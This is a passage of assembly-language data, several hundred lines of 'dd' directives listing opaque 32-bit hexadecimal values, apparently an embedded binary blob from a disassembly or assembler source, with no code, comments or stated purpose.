		dd 0BBE0244Dh, 0C85CBC00h, 1D200CC3h, 0E57F01B1h, 0A640C127h
		dd 0FE667025h, 0C2181900h, 0A08B1E14h, 0B5360E1Dh, 25036D93h
		dd 6E06210h, 900DB5Bh, 0D2804739h, 0C4AA0Bh, 23950AB8h
		dd 9CEC076Fh, 4E602A0Fh, 0F01CE039h, 0A0BBC555h, 169BBDC6h
		dd 743695h, 8B0BBC50h, 0EF00A507h, 0A196750h, 15C93529h
		dd 0B8D3AF09h, 0B244C800h, 3E8EF8E3h, 6C001575h, 1C42BC22h
		dd 7F3D21BDh, 92244851h, 0F8285C14h, 0F43DD02h,	948202ACh
		dd 24C8AB3Bh, 0BC14340Dh, 708A13Ah, 7247B206h, 0B87CC083h
		dd 336F62h, 92F0D78Ch, 59AE4317h, 0DC36D4A9h, 0AC0FABD1h
		dd 80970705h, 1E9A06C2h, 0F800331h, 2B709239h, 664E8CA0h
		dd 8D96DC07h, 0D5801F04h, 161E2Ah, 0DCF0842h, 4CA41CF4h
		dd 3A027EE8h, 81D2F559h, 92ECA01Eh, 0C478AD1Fh,	80A4A379h
		dd 9E356C4Eh, 28D4F601h, 99E9AEBCh, 2A50CCh, 0F24188A6h
		dd 7FD19244h, 0B4231800h, 62E27120h, 74D3394Dh,	4E2CCE03h
		dd 0A1E89CC8h, 3C010735h, 37CA1440h, 95E177F8h,	1C6690D3h
		dd 75360085h, 0DA033E7Fh, 0D80F3B5Dh, 0F9AB3h, 0C9703392h
		dd 0FAF00246h, 0F7B8E30Eh, 1AE493C0h, 0A08CC303h, 0F0463E75h
		dd 685A93h, 7F45671Fh, 8C3262A8h, 540038F2h, 16FB9556h
		dd 0FC85CFE3h, 2DF67B28h, 76D477B4h, 0C31FC000h, 1DFCE136h
		dd 3CE9F41h, 0A7DD2F48h, 19E727F0h, 0BD0062F4h,	2803F6B8h
		dd 75C253E4h, 0C4A7076Ah, 0C093744Bh, 494E337Ah, 6BB0840Fh
		dd 3A056037h, 863BC0h, 2DD2C366h, 7BE4C4CEh, 8B8D5307h
		dd 5C51A027h, 0A9F06176h, 0D4361669h, 5EE50057h, 0C4C1509h
		dd 85D35600h, 0A8904D9Ch, 0C6CE088h, 0D234BD25h, 4ADD319h
		dd 6DB7E61h, 0BCAD1080h, 5A0D0BF1h, 26F33Eh, 41A6FE63h
		dd 76711EC9h, 0D31F06E6h, 29EB89ACh, 4473C742h,	0A744A24Eh
		dd 0ABDD44E4h, 75C52284h, 22905E22h, 9F42E62Bh,	2173F711h
		dd 0E2681EDAh, 22192322h, 76424980h, 0F7124473h, 770428A0h
		dd 38087289h, 0A0DB0C44h, 887DDF14h, 0B388976Eh, 274F88EEh
		dd 89718988h, 4402086Ah, 0F2885301h, 0FA360010h, 0E808CABAh
		dd 5273C5D8h, 0F1C0C800h, 0CD3207B3h, 35E4AFh, 0E21B68B6h
		dd 0F28F9C59h, 9205D400h, 94AF719Bh, 17B53919h,	0F13D3Fh
		dd 0E476953Fh, 505B8D51h, 331AF21Ch, 40B0DF40h,	0B86BFCh
		dd 0B93E10BFh, 722377A7h, 0E5F0A501h, 0F5FF3920h, 0A6C0FAD1h
		dd 0B67BD7h, 0F22640BDh, 97333107h, 63C4BA00h, 0DCAD58D6h
		dd 3788073Dh, 0F02344DEh, 4A1A4DCFh, 7EE17B00h,	297A4286h
		dd 0FAE080ACh, 0C0144F8h, 0C3B5FEC7h, 3420848Fh, 5F160341h
		dd 0E2123D53h, 8DE5880h, 98C7FF00h, 3BA6379Bh, 68ED00ECh
		dd 0CE48FEF5h, 18007A29h, 3F9D2028h, 0CD70BA9h,	0FFBDF8A6h
		dd 8600C520h, 7499A51Ch, 1CDB0123h, 0C0D9FB3Dh,	0C6F2B3CAh
		dd 58018DABh, 6DE783BCh, 2AD42BD0h, 0BED33ADBh,	0AC49483Ch
		dd 31114B0Eh, 20803E0Bh, 0EA8A2CACh, 505AC61Dh,	0C5887240h
		dd 17B432h, 0A962BAA2h,	2C144E19h, 4C259800h, 6912E148h
		dd 2E7B07E9h, 77F4056Ch, 0DFAF80DEh, 41007A50h,	43F07318h
		dd 590B60h, 32839248h, 9F42C11Fh, 0A4B9F40Bh, 0C273001Dh
		dd 38366B10h, 1CFC4D03h, 0C08AE4D5h, 0EFC7D6E0h, 54022038h
		dd 0FA3BC51Ah, 0CDE440B8h, 49230034h, 0A7F53E35h, 5E001913h
		dd 0EC7C02A5h, 0FF4B0Fh, 79F17488h, 2796A171h, 0CBB84600h
		dd 0AE486929h, 427E02DEh, 0D478CCB0h, 58005743h, 0AF3BC93Fh
		dd 50498A47h, 0B3CB8Fh,	7EDFA31Ah, 994F12A5h, 0D79D3C00h
		dd 687C8C36h, 5C6901D1h, 5D8271D5h, 0B288411Bh,	0D054C4F5h
		dd 0C89B7C00h, 672EB8D7h, 3FFE2803h, 438B03F0h,	3E9176CFh
		dd 0EA421001h, 214A8E29h, 479C7800h, 527EA400h,	0A95C7010h
		dd 6180324h, 0BD9D1FD4h, 0A9270CFh, 371D831Dh, 0F4423E41h
		dd 0A022CC89h, 0EC474EF4h, 0E5B25C95h, 635EE300h, 0C8041245h
		dd 4DEDAC00h, 5AD0301Dh, 33BB005Fh, 8B397988h, 42000B8Eh
		dd 0CABD06E8h, 7268018h, 48FAA837h, 0D408F0C2h,	607B2849h
		dd 0ECD7DC00h, 8B87F01Fh, 357E00CAh, 0A050B9E2h, 0BA00AFEBh
		dd 77176D2Fh, 4849DCC2h, 8D005C2Ch, 0C171B13Eh,	1A04B555h
		dd 96D3EF5Fh, 28721080h, 0BCE3124Bh, 610C0076h,	0F415CF86h
		dd 85792503h, 1E089B9Dh, 0C05C06D0h, 0B7E9FE8Fh, 98056140h
		dd 26B4AC5Ah, 20CF1480h, 46C23A03h, 0A94151Fh, 3E4BEE7h
		dd 3C0EADC0h, 0DD2EC803h, 98928529h, 0B07BAF4Fh, 0AD3E0042h
		dd 0A9C627F3h, 9E0A8AE5h, 0AC6BBDBFh, 0B8AC003Fh, 5B360294h
		dd 0A4710BD8h, 0F18004B6h, 2D6828B1h, 9500F87Ch, 17EA3D10h
		dd 0E8BC093h, 3BBD8E82h, 0EC460F60h, 0B67F9E0Ah, 453AFD00h
		dd 0A27A411Ah, 55640005h, 0B2247503h, 0E71CD3F2h, 47C0E1AEh
		dd 9DB4BA2Bh, 0D4A41311h, 490C0022h, 971F79D9h,	80593300h
		dd 5737F654h, 87810C34h, 6E102F5Fh, 8436C400h, 98D3A38Ah
		dd 0CBA0019h, 4AD76B60h, 0BB89E2Eh, 0A30AE209h,	0B8F200F9h
		dd 0BA7011h, 0C11325ADh, 463A19E0h, 9000A9EAh, 0A85CED95h
		dd 7D151C34h, 57390059h, 0D0C9F1Eh, 58383678h, 21200073h
		dd 5BDEB946h, 0AE00037h, 290C7768h, 0C80ED951h,	0F853065Eh
		dd 7F49E7B0h, 93160362h, 55613AA1h, 27D5EBE8h, 3FF7E8A0h
		dd 0DF7B7001h, 7D4D6A4Ah, 1D16D4h, 64A518ADh, 3410CA4h
		dd 0DAF1B200h, 86E7316Ah, 445C0393h, 3F19C496h,	49EDA188h
		dd 24D7F604h, 401DC9F3h, 10034CBBh, 9E59D222h, 792D0030h
		dd 353F144Fh, 89B30094h, 75B4C690h, 2200BC39h, 7DDA086Bh
		dd 8F3F9Eh, 0CB2CFDC7h,	60A013C8h, 0E1347707h, 3DF09FA5h
		dd 3EDFEDDCh, 0F983366Ah, 0D88476C7h, 8F561000h, 2C864AFBh
		dd 0C1FF00F4h, 0E5386395h, 33004347h, 6E3F6DE9h, 16ADE27h
		dd 0FD4EF91Fh, 744FDA91h
		dd 761C726Ch, 2A058CDDh, 3888FF55h, 0C94A24B9h,	0F7803FB8h
		dd 871C2D64h, 0FF2A39Dh, 0D0BAFD03h, 0F8A465DEh, 2364Eh
		dd 19A20672h, 6676D108h, 0FC39CCA0h, 0FD00E573h, 0E2CE49E4h
		dd 13354028h, 90158Eh, 591DF844h, 0AA26F731h, 0F50EA4C3h
		dd 0E1D1802Eh, 493BE0h,	0AFF3EC97h, 1FC3B6FBh, 40088F4h
		dd 37CC8406h, 0A64D4E4h, 0D55FB783h, 0E72F00C8h, 65C4888Dh
		dd 0A5000E76h, 477351E1h, 3E1981DAh, 0DC80755Fh, 531FC5E9h
		dd 0D103CB43h, 36D6C11Ch, 95998E1h, 6EFE00E7h, 0BC8E698Fh
		dd 1E015FD1h, 65F73260h, 0F83080ADh, 63B60025h,	0F8AA3059h
		dd 300B9BEh, 47647F8Ah,	3C9E50C9h, 24003812h, 0B8213DFh
		dd 15744531h, 0BCE56300h, 0FD7B21C8h, 164A4801h, 0B020090Eh
		dd 6F315E0h, 0EC00E68Fh, 0B58C7F8Dh, 2F6195Fh, 1B149626h
		dd 0E0807056h, 639BC73Bh, 38FA8300h, 0FF8B5575h, 8225001Eh
		dd 2CCC0DF0h, 2802B644h, 7BAAB32Bh, 4DE38032h, 5002645Dh
		dd 1048869h, 0C984F37Fh, 0AC499448h, 6C0FAB58h,	6840D270h
		dd 47196534h, 0A89948FBh, 81863E00h, 5A491CAEh,	44CD7D00h
		dd 4B7E2AF8h, 94253C14h, 95F43180h, 0B49B91Ah, 63064F00h
		dd 0AAC98D0Ch, 36661C94h, 40519F7Ch, 0A3D14254h, 0AEEC10BAh
		dd 0C3C84809h, 0CC0820C4h, 1A61E0Ah, 0D5DFDD66h, 0E97C26C1h
		dd 0DCE06524h, 39009311h, 7E790231h, 0F270D58Fh, 0BB08E79Eh
		dd 0D134F802h, 0A04199ECh, 0C7C331E0h, 87F450h,	226DF9BCh
		dd 1977ABA5h, 0E7376100h, 0C654F75Ah, 9CD000D3h, 6AA5C3E4h
		dd 5128B0AEh, 222C841Eh, 3743D0D6h, 0B658009Fh,	7A57010Ch
		dd 6D0211C4h, 2F8A7319h, 0D23440CEh, 712A013Bh,	3F854675h
		dd 3900EF2Dh, 12B5E4F9h, 0A09A0CAAh, 1329B90h, 0B819265Dh
		dd 306F16BEh, 94A8E424h, 0FF10097Eh, 5904C286h,	0A05BD6F1h
		dd 0B901C938h, 7F3A49A2h, 470C021h, 0BC6C0413h,	0C0DD12B6h
		dd 82F9021Ch, 1901858h,	9A3B7317h, 0C73176C2h, 21CFCCCh
		dd 0B53F6308h, 9496CB98h, 0C999A800h, 933C512Fh, 9289010Bh
		dd 0BC4EDF2Eh, 5F502075h, 0D254617h, 3C226C0Fh,	13E4CF80h
		dd 0E790C9h, 7F2194EDh,	928B7689h, 56DA700h, 0C0CA8E7Dh
		dd 25B4A50h, 5DE7AFE0h,	14946060h, 3B6CEC07h, 51A2DEA6h
		dd 0CF02E097h, 66E6E11h, 0AFBA6A00h, 2900C0C2h,	5F2E3745h
		dd 3F473263h, 693D0759h, 0ED164C48h, 152C00D1h,	0F91CA950h
		dd 0D64DD401h, 630F90B9h, 1669F4D8h, 2087162Eh,	3B0D1804h
		dd 85742307h, 0E1B0CE3Ch, 24A6A060h, 8051F1B3h,	980AA934h
		dd 9F005E0Fh, 2D4C1705h, 0B8BF28BBh, 0C14D2CDBh, 364400FCh
		dd 0A7F6E0A2h, 180BF824h, 5E0E1900h, 3EDC5F04h,	2A9EB9FFh
		dd 8B86C18Ch, 40954A25h, 7B157DB0h, 0E01DA680h,	61D8004Eh
		dd 6DB16B1Ch, 5D00B8B9h, 1E921B5Bh, 90CE4D62h, 0CB133A85h
		dd 0A2A850h, 9490F836h,	6D01E7A5h, 0CC0E484Ah, 0A0180BF1h
		dd 8A689D54h, 0DD633A70h, 28241A00h, 0C85475A8h, 42F3B3Eh
		dd 0F351ECADh, 3724F490h, 5E7A44A7h, 0F8385C07h, 9FB0BACAh
		dd 243FE9FBh, 800C6FBBh, 0E43C7623h, 49122454h,	0E8C0508Eh
		dd 0C81A360h, 7A7793A0h, 6900F680h, 0D0AB1D32h,	0C9DB29h
		dd 22443EC1h, 0BFDECCBAh, 1E53A409h, 0BB5C8043h, 1265482Dh
		dd 0B2BCD4h, 8F182E35h,	0E125EC15h, 75F48058h, 48782Bh
		dd 18ED6CBAh, 0D6DADDF0h, 0E84DBAC1h, 7C340F73h, 226A0221h
		dd 0D425E7C4h, 6B2CCA00h, 63400DEh, 0A50ED065h,	503C5DFh
		dd 2EE574F7h, 0EE478001h, 306F01FFh, 0D733D5B8h, 0CC1C60C9h
		dd 75A69007h, 85A7BEC0h, 0B16147D0h, 74B06Fh, 0E4E0945Eh
		dd 0A15417E7h, 57CF7709h, 69F000DFh, 1C9E8461h,	80AE5A2Ah
		dd 0CBA3B248h, 411DB1B8h, 1DC04021h, 0DA2860Ch,	720B00ECh
		dd 428F22Eh, 3000724h, 3D31C10Ah, 3D7086A9h, 0A5C02C0Ch
		dd 475AC611h, 0F01BF200h, 71935BCAh, 964B200Eh,	1688F558h
		dd 2C0003FCh, 11904A3Ah, 31B60072h, 5027F3ABh, 9098A969h
		dd 0DD17E500h, 95C30F3Ah, 249AFC8Fh, 0F03102h, 0AE89E68Dh
		dd 0F61CE26Ah, 2180BFA5h, 0D4E3D09h, 0C9E430A8h, 0C5F418F0h
		dd 14C6DF00h, 0BD37947Dh, 18B2F2AEh, 0B153CF8Fh, 622ACB8Bh
		dd 463EEC1Ch, 74AF140Ch, 0FC27B0h, 0C5ADD598h, 75A2008Ah
		dd 0F67D7236h, 334A73B8h, 10EC0EC5h, 255C0800h,	0FBFCD7ADh
		dd 0F5F05E00h, 0B447D4C6h, 0B959008Fh, 0C2B56E12h, 0DCB88071h
		dd 41480403h, 16831BC7h, 0A8C310h, 821E21B4h, 944837E7h
		dd 48D30B28h, 11AC901Ch, 3DD81675h, 3F803E5h, 100074EFh
		dd 7FC1A9AAh, 35B1AEDh,	0BFB86AE9h, 0A7D81F46h,	0BE004E32h
		dd 29AB6C9Fh, 30E780F8h, 3F618F2Eh, 83007294h, 0BA16F3FEh
		dd 3F1EF624h, 81005D9Ch, 0C8030A7h, 0D01FE12h, 0FC38B9D7h
		dd 45D88EC5h, 0ADF50057h, 94E16CABh, 0E90007C3h, 1C6A62A8h
		dd 57B374h, 0D3BA3473h,	53FDF601h, 997B6903h, 0E8B8FFDAh
		dd 0B41435h, 924EB908h,	534B23F7h, 31D88000h, 9613CD4Ch
		dd 87F63Dh, 75A53825h, 0D4D61E33h, 0FE758398h, 5279CB00h
		dd 0BB48C1ABh, 9A5D007Ch, 0EC4BF75Ch, 0F5003AB0h, 9723748Eh
		dd 83121Fh, 13D716DEh, 76ED8C47h, 24AF4Ch, 48CE440Eh, 1B2C82h
		dd 1EEFCACFh, 2ABBD6ACh, 4659B900h, 0F96D0EAAh,	0FD3500D9h
		dd 0A03C6F88h, 0AB00AC8Bh, 80B8E482h, 1FC57BA1h, 0C05513D9h
		dd 0EFFE8AE0h, 0DA03F6B3h, 115860C0h, 0DEC6C1E6h, 503E4B70h
		dd 1D5A8513h, 47D8EBB6h, 0C08C739Ch, 3FDB727Bh,	58E9C900h
		dd 7A9D2678h, 0B048090Fh, 0F900AFEDh, 0E8620531h, 0D44D9600h
		dd 0B5D0068Dh, 6F4400E4h, 6B09FDF0h, 0C53ACD95h, 4349801Fh
		dd 90D9480Eh, 47380055h, 3D0FBAC2h, 5438ED3Fh, 0B5BD8CC5h
		dd 0FA9E0D8h, 1DA310Eh,	214FA1C2h, 411CF480h, 69004615h
		dd 0E1D5FB6Ah, 7487B55h, 0CF23989Eh, 51A26313h,	64830CE0h
		dd 1A394500h, 0C5530A0Eh, 52980090h, 4E516BEDh,	7500D143h
		dd 0D61C7F60h, 0A8149Bh, 0DB674661h, 0E56E81D5h, 8522FE0Dh
		dd 7FC458CCh, 0E9DF0034h, 0ABF60605h, 8000C64Dh, 679009A3h
		dd 7BFBCA0h, 3FB6F452h,	2001F9CAh, 0FCC39636h, 0FEE41EC5h
		dd 0F762D31Dh, 9EAF78C0h, 0D76BB6h, 0AA5A0AF2h,	0B17D1C5Bh
		dd 0EC107C00h, 94A1D38Dh, 0C91700A9h, 63B2A036h, 0D540F17Eh
		dd 0D60C02ACh, 7844D7AEh, 0EA2390A0h, 9D000352h, 0DAE97C02h
		dd 854F99h, 6BB02915h, 19948C6Dh, 25EEFF0Eh, 5846E714h
		dd 68F5DBF0h, 9A4D0EBCh, 0C03CC93Dh, 34FD2326h,	35007E48h
		dd 0D15A47DAh, 0FC5FBBCh, 2686B3F6h, 99455800h,	0F000DE23h
		dd 0E4FE491Eh, 328313Bh, 551C0D5Fh, 6AA82FC5h, 0EE0741DCh
		dd 0EFDAC21h, 7F5D5E80h, 0A14B034Ch, 0D43FD0CBh, 37FFF888h
		dd 0A9F0300Fh, 7B68E003h, 1526FB3h, 0C3D63872h,	0EC6DAB2Fh
		dd 0E500FC28h, 8555D247h, 67FF6ACh, 18860FBBh, 0D0717813h
		dd 7939C5Ch, 0FE70D4C4h, 66E0FBF1h, 744420h, 96D9FC29h
		dd 573C26E5h, 6F9E2F00h, 53272D5Dh, 0F7B30E1h, 5B164728h
		dd 0EAB4CA07h, 6240F0EDh, 26A23Ch, 80B01450h, 0CC5AE533h
		dd 57B5575h, 1F688148h,	0E2C01A32h, 3621BC4Eh, 163F0093h
		dd 8842A38Bh, 0E01DF451h, 49FAE15h, 0B632F742h,	0C88048B9h
		dd 7B6306C5h, 20DAB3B0h, 6B01AB78h, 4DD7124Fh, 62C15B4Bh
		dd 0B63D9040h
		dd 9C7E010Fh, 49DD7AAEh, 5CD6ECC1h, 0A4430E00h,	4F6682ECh
		dd 95FF0040h, 4B2C6FE0h, 6224EF88h, 0FA8C54A5h,	712288A1h
		dd 0B81207BBh, 0F00929E1h, 504AB39Ch, 6F774400h, 0DF045FB5h
		dd 3B4C03C8h, 0DD96D6E2h, 326D6088h, 3372AE18h,	4867BA90h
		dd 267D54C3h, 4C74EBC7h, 82007A90h, 0B4B7D234h,	0FCC6E0C4h
		dd 0C7620E5Fh, 0E13076Bh, 25E06AF5h, 2275F890h,	54CEDA3Fh
		dd 1A003C94h, 3D648BEh,	45C6CB5h, 0BB3A2C81h, 68EB00B9h
		dd 98D625A1h, 0E5C4817Ch, 1A0853Ah, 32DE8B6Ch, 2B9DE005h
		dd 9A11BB00h, 52EFC5AFh, 2F71F12h, 471C0071h, 1A6F9C51h
		dd 1407C490h, 0AE54588Ah, 0A8DEF7C0h, 9ADCF80Fh, 8675215Ch
		dd 6915CE42h, 2CFCB21Ch, 11D39F1h, 3444E26h, 0CE7CC2DEh
		dd 1E682000h, 24423E84h, 6D1C0072h, 7B4E1A57h, 3F00BB0Eh
		dd 69E52799h, 2E5576h, 0E6AE4166h, 24A059FAh, 0CA60E9E4h
		dd 6C9BD131h, 52BC8Ah, 0E1830D34h, 2C07FAC2h, 364770B0h
		dd 1AB93000h, 0FDE60912h, 5400560Ch, 2357B6DFh,	0F86CA700h
		dd 0C96415AAh, 0E6F400D7h, 0D4F6FF16h, 3D745312h, 8007D2F6h
		dd 75EDA244h, 0F24A74A0h, 2F9600DCh, 9D47EF3h, 4B1EDA82h
		dd 974505CDh, 0E8003CA4h, 62EBBF12h, 0A6A9000Bh, 31E6800Fh
		dd 0FD00C31Eh, 0BA40165Fh, 0A089F1EFh, 25DE4h, 887C24B1h
		dd 940D0F43h, 1E847D00h, 11CBCEBCh, 0FFA55191h,	0CA556043h
		dd 0F098CC38h, 0AB6A0531h, 80D03712h, 8CF27B42h, 1CF45626h
		dd 23464F0Eh, 1F5F9ECh,	0D5250210h, 3077C69Ch, 0E744B624h
		dd 0B39A2C60h, 28F91375h, 2A0528B8h, 3FD9D190h,	1B89B400h
		dd 747F93h, 0E04569Ch, 9047A53Bh, 39C84304h, 12C161A1h
		dd 0DE80811Dh, 0C01BDC82h, 67007264h, 77730726h, 89EA94h
		dd 0B520FE25h, 492A1683h, 225E4103h, 31F6D8h, 38516444h
		dd 0A75D8EB2h, 1332C409h, 0CB0003Ah, 1CFF7FAh, 0F0E79CC6h
		dd 0F8DCEB59h, 7000954h, 37A6DE6Ch, 0FA02BEF4h,	3DD2E047h
		dd 3D002D0Ch, 6D713873h, 6002AF41h, 0CBD53CD1h,	0D4CCE8C1h
		dd 0C98E008Ah, 478473B7h, 0DB00F5B4h, 9AC75F63h, 0C0B15Ah
		dd 995E0990h, 15697824h, 736C5858h, 85B33000h, 7AA12996h
		dd 384B892h, 0D5757755h, 0E2B8DFF9h, 0B1019086h, 0F0317CD9h
		dd 97D81FDAh, 6434003Eh, 0FCC7E581h, 2E006269h,	20068F82h
		dd 321A3D6h, 2659A0EEh,	0F0F08C3Bh, 2D017B54h, 7A28694h
		dd 9C74E0D4h, 305B6085h, 0BE277EF4h, 76C3920Bh,	0E57C80B9h
		dd 9889F5Ch, 39CDDF17h,	0C06F38A7h, 630B9D5h, 0BB938405h
		dd 0BF01AB77h, 7C4A880Ch, 0CB3FD477h, 9100A0ACh, 2385053Fh
		dd 0B0D04F94h, 6C4B55h,	9B227B65h, 0CAC7E044h, 50D6CD1Ch
		dd 0C6742040h, 50774D91h, 0EEFB4D4h, 29826A42h,	0BE7A5460h
		dd 0BF0BAC08h, 4B764Fh,	9AD560A0h, 553C3144h, 0AF8578h
		dd 92F2F1BCh, 0F2BAE8A8h, 5EBE0187h, 2FDE0B68h,	579730D6h
		dd 21E41400h, 0F2AE8A4Fh, 0C09A84h, 4375C612h, 0DFB63459h
		dd 8B09C98h, 5E109300h,	0E812D9F3h, 9E7600A9h, 1F4E4CDEh
		dd 0C17B02CDh, 10DBCB01h, 0E9A38DC2h, 14BD0630h, 89E77B79h
		dd 0A65F6000h, 0B966BA3Fh, 3D774700h, 2E096941h, 0F8D900F7h
		dd 1CF172BCh, 4500163Ah, 0C214747Eh, 98917D5Fh,	61840034h
		dd 9D60C6CDh, 7800E728h, 6FB1A07Eh, 9ED3F8h, 9B63AC1Ch
		dd 8442508Fh, 4C7DB702h, 816B0B7Eh, 17A6E1A9h, 98193F30h
		dd 217A0020h, 3BA9BB07h, 37009929h, 2C88AA61h, 0CAC11Dh
		dd 0EEF7C5CFh, 5887C034h, 0BBCE490Eh, 5F11A07Bh, 1C12E126h
		dd 0E8F32EB0h, 0E63B16CDh, 0E0800DD6h, 801C23BEh, 3592738Fh
		dd 4385010Bh, 5F0AEDA5h, 0C3C2491h, 8A7AAEEEh, 97277600h
		dd 1DB27D38h, 0FC590051h, 9A674668h, 5B00C0E2h,	36ED3E9h
		dd 1EA76A45h, 49DE4796h, 0E8004372h, 0CCF48154h, 0D658E260h
		dd 1EE6F52Dh, 0C11FDB91h, 12DDFA17h, 35A83013h,	324620h
		dd 0A7C81D52h, 3A54C9F8h, 8FAA1100h, 0CF236689h, 0ABAC0125h
		dd 9BB3F793h, 13B07069h, 2BC54100h, 20A1FD34h, 0E878188Bh
		dd 2812102Eh, 610CAF04h, 0B8C0D8C5h, 26AD3E08h,	3BEB6Ah
		dd 575B7E4h, 0EA3D6B83h, 1548136h, 0CD9BDF91h, 58C33080h
		dd 9F74EDE2h, 841CDB00h, 9B5D9916h, 40F04851h, 0DF20AC00h
		dd 3A2FF817h, 714C7358h, 0D9599000h, 3D023B64h,	0DBF8A8A6h
		dd 30F131Bh, 0B7D8004Bh, 3CDE2917h, 0FECA7102h,	60A5C1E8h
		dd 5F205A4h, 0EC512DBCh, 0BAA000BFh, 552B118Eh,	3D489801h
		dd 0E880DCFAh, 0B0D39ED1h, 0C049318h, 65FC56BFh, 2100C111h
		dd 5AD71A59h, 0BAB1B3Eh, 7C8E5578h, 0CA61E08Fh,	643D4CF4h
		dd 58B83F38h, 530FC3Ch,	7F8F10FDh, 272C2C90h, 3D2A30B7h
		dd 20020911h, 7448F118h, 98F3F458h, 0A4130300h,	85554904h
		dd 106E2803h, 0E12770BDh, 5834AD8Eh, 995B1788h,	842B00AEh
		dd 6C20A7Ch, 478D5C01h,	530CBD11h, 9AB30h, 42FC3D6Eh, 0EA6C51C8h
		dd 0BFE6E91Dh, 0BC2B7944h, 0D8FEEC83h, 9F03346h, 0B72027B9h
		dd 95531000h, 0BE0026A8h, 0A0344FF6h, 0B9D404h,	0A12B2D23h
		dd 0FB3CD6CAh, 1A168518h, 47C1F6h, 0C07CF544h, 0FA3DC72h
		dd 0ECA73B00h, 0D8A0E2B3h, 2B7E58F9h, 23F02C00h, 20B5581Ah
		dd 54857F4h, 3B6501E0h,	8DFCC6D0h, 4C6797FCh, 8C406E7Fh
		dd 2930073h, 0D4992488h, 0A5FCB2BAh, 0DAA92B0Eh, 586AE14Dh
		dd 3C207569h, 166D0056h, 0EAE027C1h, 0CA07CECFh, 0CD4578E5h
		dd 94286BE0h, 756E2EF7h, 9A6F0074h, 0DA700D26h,	798B0E00h
		dd 60D666D0h, 0B7643C7Dh, 10940C80h, 52278815h,	51901F50h
		dd 74455003h, 888EF676h, 3844080Bh, 87BD4AA8h, 26107AA4h
		dd 0A589034Ch, 10014103h, 139A5640h, 0CA30FA01h, 38BF592Dh
		dd 0E7389675h, 80F344E6h, 96C255Ch, 0C300C8F0h,	3DA05851h
		dd 2BC7D2h, 0F35471AFh,	0D87A8862h, 480E5007h, 0D6A03A75h
		dd 12738429h, 0B8D1B0h,	7E2B61CDh, 30E9845h, 0E87CBFh
		dd 0C12919A9h, 0B9EF00CCh, 8B0C5894h, 23509956h, 0CD750AE0h
		dd 9C4F8D00h, 0DBB1115Ch, 3CEB0B24h, 1807256Bh,	0DAD3F0EAh
		dd 9004F8Fh, 0EDDE95F4h, 487F518Eh, 0C3008CDBh,	6A8CE826h
		dd 7B0186BEh, 20AD8D3Ch, 10709406h, 0F13FA56h, 419D0CD8h
		dd 35875941h, 0EBF45083h, 8D005F76h, 524544F1h,	5C0DACF7h
		dd 490414ECh, 0B4A39280h, 0DD005E94h, 0A30E2BBh, 43A6D9h
		dd 0F5455D07h, 3A9582EEh, 84BE3850h, 2575BEEAh,	82B00228h
		dd 9E006B7Dh, 4D2B298Eh, 4CD467A1h, 70C910FBh, 2F14C820h
		dd 0C403D981h, 62C999A6h, 0A06E8106h, 0B53830h,	0A1A396E1h
		dd 67533488h, 79EF41Eh,	8A0B5700h, 547C51h, 6D6F3B0Ah
		dd 0EFCBECF1h, 11F38B02h, 80BDF6D4h, 7C8766DFh,	0F9DF6D2h
		dd 0A154D0ADh, 464FB720h, 0C0383277h, 0B8A500DBh, 99496627h
		dd 0E8C400F9h, 437FC8CFh, 0E700FA16h, 8348FF33h, 79D49051h
		dd 0F19E002Eh, 1AC9D875h, 0D60298FCh, 0D9EC36B6h, 0A6C0C073h
		dd 18E695h, 0D10C659Fh,	4F1A2FF9h, 4455982Ch, 60888C9Ah
		dd 0ECAFD44h, 1802CB77h, 9FD16480h, 0B6FA9A2Eh,	0E80339h
		dd 6172AD93h, 18603DE5h, 711FEBE6h, 0A803EEC2h,	3F81E3FAh
		dd 4292A003h, 27942EEFh, 57C380A8h, 0C83639D5h,	5B89D8E3h
		dd 0E559B803h, 3C7EAEh,	8EB6DE50h, 0B4FBD739h, 71879400h
		dd 11D91A51h
		dd 0E198004Dh, 0DE9CA5DCh, 18781447h, 8A041C00h, 71CCCAACh
		dd 0ABBB1F4Dh, 0BC5B877Fh, 53F7B02Eh, 770028F3h, 92F6B10Ch
		dd 1ED64325h, 0DED9E1E2h, 3D2DC047h, 1791F197h,	3F4E7100h
		dd 0DFF8BD14h, 0DB430062h, 0DF76768h, 0B100B076h, 13AAF6EDh
		dd 34E854Ch, 430EF412h,	0ABF8A6B4h, 0FD13B504h,	5000F9CFh
		dd 6085B640h, 980EFCCBh, 2029482Dh, 5B1EB900h, 0E899E957h
		dd 10F343Eh, 3F021436h,	4613784h, 174BB3DCh, 0CCDE46h
		dd 0BE7A26AFh, 870C7913h, 5901D0E2h, 195D005Ah,	0B870EB57h
		dd 9D00C16Ch, 6B497534h, 2CA69167h, 80445181h, 0DE98295h
		dd 2C3E43D4h, 25F6DC9Dh, 529683B6h, 0FEE5801Ah,	0E03401A5h
		dd 0B3E9CA13h, 0AB97D89Fh, 0CF6A2F00h, 798827B5h, 0EA0DFE0Fh
		dd 9D9C12EFh, 42FCC048h, 0D64C08FFh, 0D1C70055h, 0A064D866h
		dd 8D750779h, 8732C409h, 0FBEB8150h, 3980CF71h,	0E0004307h
		dd 46D9CBAEh, 0E1F66Dh,	0B31F5ABAh, 8FB1084Dh, 4FA8D001h
		dd 34AB2FFh, 4CEDA9FCh,	0E4261306h, 285500B8h, 2FCE44B1h
		dd 0B60D78A0h, 7220191Dh, 500F591Fh, 740FE3E1h,	0D01BF0F5h
		dd 0FEDA0312h, 9E2EF76Ah, 0EE649902h, 50089840h, 8E9C28E0h
		dd 0A9C60770h, 2EC1092Fh, 6DCB0581h, 0CA384002h, 8260C98Ah
		dd 9944E148h, 1E337CA5h, 0C086FA89h, 94CF88CDh,	640FFFAEh
		dd 400851E4h, 0C523767Ch, 0DCDA0318h, 1573F713h, 0F6BD86B8h
		dd 0BE5C48h, 3AA5AC57h,	70C62EC3h, 0F93E0116h, 670C35D5h
		dd 1FADC824h, 8D46FE1Ch, 14526100h, 0CCB32E3h, 5CF7D709h
		dd 50E55A0h, 805F423Bh,	0B176D8D1h, 0B3D00CAh, 49AF210Eh
		dd 0A01EAA36h, 2CC16508h, 1F8D355h, 1791D0C8h, 64860Ah
		dd 99AC1A40h, 29F082F4h, 6CA07300h, 1B2958Bh, 6B100AFh
		dd 0F72C2065h, 1100CAA5h, 3E997E7Ah, 777B80h, 6F71C279h
		dd 37ACF116h, 7F5C3A09h, 704900CCh, 49F5E3h, 0FF1CFCA1h
		dd 99CF9A1Fh, 11CD1E07h, 44B07982h, 19DC520h, 52AE7E15h
		dd 0F8C46A28h, 0D90F138Ah, 26DC04h, 8343AF07h, 57EC179Eh
